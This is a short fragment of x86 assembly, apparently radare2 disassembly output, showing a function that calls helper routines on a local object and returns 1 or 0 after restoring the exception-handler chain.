lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x4c]
call fcn.100017e0
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], 0
push eax
push dword [esi]
call fcn.10013630
add esp, 8
lea ecx, [ebp - 0x4c]
call fcn.10001840
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8